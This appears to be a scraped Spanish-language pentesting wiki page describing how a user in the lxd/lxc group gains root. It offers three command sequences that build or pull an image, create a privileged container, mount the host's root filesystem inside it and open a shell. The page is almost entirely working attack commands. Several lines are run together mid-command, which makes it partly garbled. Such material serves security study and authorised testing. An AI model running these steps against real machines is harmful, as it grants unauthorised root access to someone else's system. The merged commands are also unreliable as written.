LXD/LXC GROUP
Si perteneces a estos grupos puedes convertirte en root
INFORMACIÓN GENERAL
VULNERABILIDADES
Método 1
Método 2
Con internet
Última actualización
Si perteneces a estos grupos puedes convertirte en root
Última actualización
sudo su
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
sudo go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported imagelxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=truelxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/shlxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted